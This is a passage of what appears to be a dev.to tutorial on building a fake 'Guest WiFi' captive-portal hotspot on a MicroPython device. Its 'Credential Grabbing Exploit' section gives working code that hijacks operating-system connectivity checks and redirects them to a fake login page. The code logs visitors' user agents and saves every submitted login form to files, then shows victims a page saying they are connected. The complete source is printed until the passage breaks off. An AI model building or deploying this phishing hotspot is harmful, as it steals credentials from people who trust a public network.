&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/hotspot-detect.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/generate_204&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/redirect&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/check_network_status.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hotspot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;DOMAIN&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;302&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/ncsi.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/connecttest.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hotspot_connecttest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Credential Grabbing Exploit
&lt;/h2&gt;

&lt;p&gt;With all aspects implemented, the final part is to add the information stealing exploit. The device shall create logfiles containing the request user agent, and another file that stores the filled in form data.&lt;/p&gt;

&lt;p&gt;First, the method to create a logfile is implemented. In the current MicroPython version, it is not possible to open a file and append text to it. Therefore, a new logfile will be created, with its timestamp as the filename. The following method prints its message and all key-value pairs of the provided &lt;code&gt;dict&lt;/code&gt; object. Also note the explicit &lt;code&gt;sleep&lt;/code&gt; commands - I had some cases where files would not be created properly, waiting between opening and closing helped.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;localtime&lt;/span&gt;&lt;span class="p"&gt;())])&lt;/span&gt;
    &lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;LOG_PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

    &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The user-agent will be grabbed whenever one of the hotspot routes is accessed. Add a function call off &lt;code&gt;log_to_file&lt;/code&gt; as shown in the following.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# ...
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hotspot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hotspot&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;path&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;DOMAIN&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;302&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;#...
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hotspot_connecttest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;connect_test&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;path&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The login form requires all fields to be filled out, and then makes a &lt;code&gt;POST&lt;/code&gt; request. Inside the corresponding handler function, the form data will be logged, and then a simple HTML page rendered.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/login&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Login Data &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The HTML code for the success page is as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&lt;/span&gt; &lt;span class="na"&gt;lang=&lt;/span&gt;&lt;span class="s"&gt;"en"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;charset=&lt;/span&gt;&lt;span class="s"&gt;"UTF-8"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"viewport"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"width=device-width, initial-scale=1.0"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;{{ title }}&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"stylesheet"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"style.css"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;{{ title }}&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;Thank you for registering. You are connected to the WiFi.&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Bring the hotspot online, and after some time, the logfiles will pile up.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbvmsvzf8vyn7lpym637e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbvmsvzf8vyn7lpym637e.png" width="672" height="398"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The files are stored on the device itself. For remote access, a secret route, password protected, could be implemented, but I will leave this as an exercise.&lt;/p&gt;

&lt;h2&gt;
  
  
  Complete Source Code
&lt;/h2&gt;

&lt;p&gt;Here is the complete handler source code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;access_point&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;dns&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;localtime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt;

&lt;span class="n"&gt;SSID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Guest WiFi&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;www/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;LOG_PATH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;log/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;DOMAIN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hot.spot.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/hotspot-detect.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/generate_204&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/redirect&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/check_network_status.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hotspot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hotspot&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;path&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;DOMAIN&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;302&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/ncsi.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
